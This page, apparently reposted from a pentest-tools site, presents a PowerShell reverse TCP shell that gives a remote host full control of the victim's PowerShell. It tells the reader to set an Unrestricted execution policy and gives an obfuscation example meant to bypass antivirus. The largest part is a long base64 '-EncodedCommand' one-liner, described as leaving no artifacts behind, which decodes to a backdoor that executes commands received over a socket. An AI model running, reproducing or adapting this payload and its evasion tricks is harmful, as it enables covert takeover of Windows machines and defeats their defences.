Downloads, Hacking Tools, PowerShell, Script, Security, Windows

Powershell-Reverse-Tcp – PowerShell Script For Connecting To A Remote Host.

PowerShell script for connecting to a remote host.
Remote host will have full control over client’s PowerShell and all its underlying commands.
Tested with PowerShell v5.1.18362.752 on Windows 10 Enterprise OS (64 bit).
Made for educational purposes. I hope it will help!
How to Run
Change the IP address and port number inside the script.
Open the PowerShell from \src\ and run the commands shown below.
Set the execution policy:

Set-ExecutionPolicy Unrestricted

Run the script:

.\powershell_reverse_tcp.ps1

Or run the following command from either PowerShell or Command Prompt:

PowerShell -ExecutionPolicy Unrestricted -File .\powershell_reverse_tcp.ps1

PowerShell Obfuscation
Try to bypass an antivirus or some other security mechanisms by obfuscating your scripts.
You can see such obfuscation in the example below.
Original PowerShell command:

(New-Object Net.WebClient).DownloadFile($url, $out)

Obfuscated PowerShell command:

& (`G`C`M *ke-E*) '(& (`G`C`M *ew-O*) `N`E`T`.`W`E`B`C`L`I`E`N`T)."`D`O`W`N`L`O`A`D`F`I`L`E"($url, $out)'

Check the original PowerShell script here and the obfuscated one here.
Besides manual obfuscation, the original PowerShell script was also obfuscated with Invoke-Obfuscation. Credits to the author!
Search the Internet for additional methods and obfuscation techniques.

PowerShell Encoded Command
Use the one-liner below if you don’t want to leave any artifacts behind.
Encoded script will prompt for input. See the slightly altered script in my other project.
To run the PowerShell encoded command, run the following command from either PowerShell or Command Prompt:

PowerShell -ExecutionPolicy Unrestricted -EncodedCommand JABhAGQAZAByACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAEkAUAAgAGEAZABkAHIAZQBzAHMAIgApAC4AVAByAGkAbQAoACkAOwANAAoAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIgA7AA0ACgAkAHAAbwByAHQAIAA9ACAAJAAoAFIAZQBhAGQALQBIAG8AcwB0ACAALQBQAHIAbwBtAHAAdAAgACIARQBuAHQAZQByACAAcABvAHIAdAAgAG4AdQBtAGIAZQByACIAKQAuAFQAcgBpAG0AKAApADsADQAKAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIAOwANAAoAaQBmACAAKAAkAGEAZABkAHIALgBMAGUAbgBnAHQAaAAgAC0AbAB0ACAAMQAgAC0AbwByACAAJABwAG8AcgB0AC4ATABlAG4AZwB0AGgAIAAtAGwAdAAgADEAKQAgAHsADQAKAAkAVwByAGkAdABlAC0ASABvAHMAdAAgACIAQgBvAHQAaAAgAHAAYQByAGEAbQBlAHQAZQByAHMAIABhAHIAZQAgAHIAZQBxAHUAaQByAGUAZAAiADsADQAKAH0AIABlAGwAcwBlACAAewANAAoACQBXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAiADsADQAKAAkAVwByAGkAdABlA C0ASABvAHMAdAAgACIAIwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIgA7AA0ACgAJAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACMAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUABvAHcAZQByAFMAaABlAGwAbAAgAFIAZQB2AGUAcgBzAGUAIABUAEMAUAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAjACIAOwANAAoACQBXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgAjACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGIAeQAgAEkAdgBhAG4AIABTAGkAbgBjAGUAawAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIwAiADsADQAKAAkAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIgA7AA0ACgAJAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACMAIABHAGkAdABIAHUAYgAgAHIAZQ BwAG8AcwBpAHQAbwByAHkAIABhAHQAIABnAGkAdABoAHUAYgAuAGMAbwBtAC8AaQB2AGEAbgAtAHMAaQBuAGMAZQBrAC8AcABvAHcAZQByAHMAaABlAGwAbAAtAHIAZQB2AGUAcgBzAGUALQB0AGMAcAAuACAAIAAjACIAOwANAAoACQBXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgAjACAARgBlAGUAbAAgAGYAcgBlAGUAIAB0AG8AIABkAG8AbgBhAHQAZQAgAGIAaQB0AGMAbwBpAG4AIABhAHQAIAAxAEIAcgBaAE0ANgBUADcARwA5AFIATgA4AHYAYgBhAGIAbgBmAFgAdQA0AE0ANgBMAHAAZwB6AHQAcQA2AFkAMQA0AC4AIAAgACAAIwAiADsADQAKAAkAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIgA7AA0ACgAJAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACIAOwANAAoACQAkAHMAbwBjAGsAZQB0ACAAPQAgACQAbgB1AGwAbAA7AA0ACgAJACQAcwB0AHIAZQBhAG0AIAA9ACAAJABuAHUAbABsADsADQAKAAkAJABiAHU AZgBmAGUAcgAgAD0AIAAkAG4AdQBsAGwAOwANAAoACQAkAHcAcgBpAHQAZQByACAAPQAgACQAbgB1AGwAbAA7AA0ACgAJACQAZABhAHQAYQAgAD0AIAAkAG4AdQBsAGwAOwANAAoACQAkAHIAZQBzAHUAbAB0ACAAPQAgACQAbgB1AGwAbAA7AA0ACgAJAHQAcgB5ACAAewANAAoACQAJACMAIABjAGgAYQBuAGcAZQAgAHQAaABlACAAaABvAHMAdAAgAGEAZABkAHIAZQBzAHMAIABhAG4AZAAvAG8AcgAgAHAAbwByAHQAIABuAHUAbQBiAGUAcgAgAGEAcwAgAG4AZQBjAGUAcwBzAGEAcgB5AA0ACgAJAAkAJABzAG8AYwBrAGUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABjAHAAQwBsAGkAZQBuAHQAKAAkAGEAZABkAHIALAAgACQAcABvAHIAdAApADsADQAKAAkACQAkAHMAdAByAGUAYQBtACAAPQAgACQAcwBvAGMAawBlAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwANAAoACQAJACQAYgB1AGYAZgBlAHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEIAeQB0AGUAWwBdACAAMQAwADIANAA7AA0ACgAJAAkAJABlAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBBAHMAYwBpAGkARQBuAGMAbwBkAGkAbgBnADsADQAKAAkACQAkAHcAcgBpAHQAZQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBXAHIAaQB0AGUAcgAoACQAcwB0AHIAZQBhAG0AKQA7AA0ACgAJAAkAJAB3AHIAaQB0 AGUAcgAuAEEAdQB0AG8ARgBsAHUAcwBoACAAPQAgACQAdAByAHUAZQA7AA0ACgAJAAkAVwByAGkAdABlAC0ASABvAHMAdAAgACIAQgBhAGMAawBkAG8AbwByACAAaQBzACAAdQBwACAAYQBuAGQAIAByAHUAbgBuAGkAbgBnAC4ALgAuACIAOwANAAoACQAJAGQAbwAgAHsADQAKAAkACQAJACQAdwByAGkAdABlAHIALgBXAHIAaQB0AGUAKAAiAFAAUwA+ACIAKQA7AA0ACgAJAAkACQBkAG8AIAB7AA0ACgAJAAkACQAJACQAYgB5AHQAZQBzACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHUAZgBmAGUAcgAsACAAMAAsACAAJABiAHUAZgBmAGUAcgAuAEwAZQBuAGcAdABoACkAOwANAAoACQAJAAkACQBpAGYAIAAoACQAYgB5AHQAZQBzACAALQBnAHQAIAAwACkAIAB7AA0ACgAJAAkACQAJAAkAJABkAGEAdABhACAAPQAgACQAZABhAHQAYQAgACsAIAAkAGUAbgBjAG8AZABpAG4AZwAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHUAZgBmAGUAcgAsACAAMAAsACAAJABiAHkAdABlAHMAKQA7AA0ACgAJAAkACQAJAH0AIABlAGwAcwBlACAAewANAAoACQAJAAkACQAJACQAZABhAHQAYQAgAD0AIAAiAGUAeABpAHQAIgA7AA0ACgAJAAkACQAJAH0ADQAKAAkACQAJAH0AIAB3AGgAaQBsAGUAIAAoACQAcwB0AHIAZQBhAG0ALgBEAGEAdABhAEEAdgBhAGkAbABhAGIAbABlACkAOwANAAoACQAJAAkAaQBmACAAKAAkAGQAYQB0AGEALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAAgAC0AYQBuAGQAIAAkAGQAYQB0AGEAI AAtAG4AZQAgACIAZQB4AGkAdAAiACkAIAB7AA0ACgAJAAkACQAJAHQAcgB5ACAAewANAAoACQAJAAkACQAJACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABkAGEAdABhACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAOwANAAoACQAJAAkACQB9ACAAYwBhAHQAYwBoACAAewANAAoACQAJAAkACQAJACQAcgBlAHMAdQBsAHQAIAA9ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsADQAKAAkACQAJAAkAfQANAAoACQAJAAkACQAkAHcAcgBpAHQAZQByAC4AVwByAGkAdABlAEwAaQBuAGUAKAAkAHIAZQBzAHUAbAB0ACkAOwANAAoACQAJAAkACQBDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAAtAE4AYQBtAGUAIAAiAGQAYQB0AGEAIgA7AA0ACgAJAAkACQB9AA0ACgAJAAkAfQAgAHcAaABpAGwAZQAgACgAJABkAGEAdABhACAALQBuAGUAIAAiAGUAeABpAHQAIgApADsADQAKAAkAfQAgAGMAYQB0AGMAaAAgAHsADQAKAAkACQBXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsADQAKAAkAfQAgAGYAaQBuAGEAbABsAHkAIAB7AA0ACgAJAAkAaQBmACAAKAAkAHMAbwBjAGsAZQB0ACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsADQAKAAkACQAJACQAcwBvAGMAawBlAH QALgBDAGwAbwBzAGUAKAApADsADQAKAAkACQAJACQAcwBvAGMAawBlAHQALgBEAGkAcwBwAG8AcwBlACgAKQA7AA0ACgAJAAkAfQANAAoACQAJAGkAZgAgACgAJABzAHQAcgBlAGEAbQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AA0ACgAJAAkACQAkAHMAdAByAGUAYQBtAC4AQwBsAG8AcwBlACgAKQA7AA0ACgAJAAkACQAkAHMAdAByAGUAYQBtAC4ARABpAHMAcABvAHMAZQAoACkAOwANAAoACQAJAH0ADQAKAAkACQBpAGYAIAAoACQAYgB1AGYAZgBlAHIAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewANAAoACQAJAAkAJABiAHUAZgBmAGUAcgAuAEMAbABlAGEAcgAoACkAOwANAAoACQAJAH0ADQAKAAkACQBpAGYAIAAoACQAdwByAGkAdABlAHIAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewANAAoACQAJAAkAJAB3AHIAaQB0AGUAcgAuAEMAbABvAHMAZQAoACkAOwANAAoACQAJAAkAJAB3AHIAaQB0AGUAcgAuAEQAaQBzAHAAbwBzAGUAKAApADsADQAKAAkACQB9AA0ACgAJAAkAaQBmACAAKAAkAGQAYQB0AGEAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewANAAoACQAJAAkAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAIgBkAGEAdABhACIAOwANAAoACQAJAH0ADQAKAAkACQBpAGYAIAAoACQAcgBlAHMAdQBsAHQAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewANAAoACQAJAAkAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAIgByAGUAcwB1AGwAdAAiADsADQA KAAkACQB9AA0ACgAJAH0ADQAKAH0ADQAKAA==

To generate a PowerShell encoded command from a PowerShell script, run the following PowerShell command:

[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes([IO.File]::ReadAllText($script)))

Images

Source : KitPloit – PenTest Tools!

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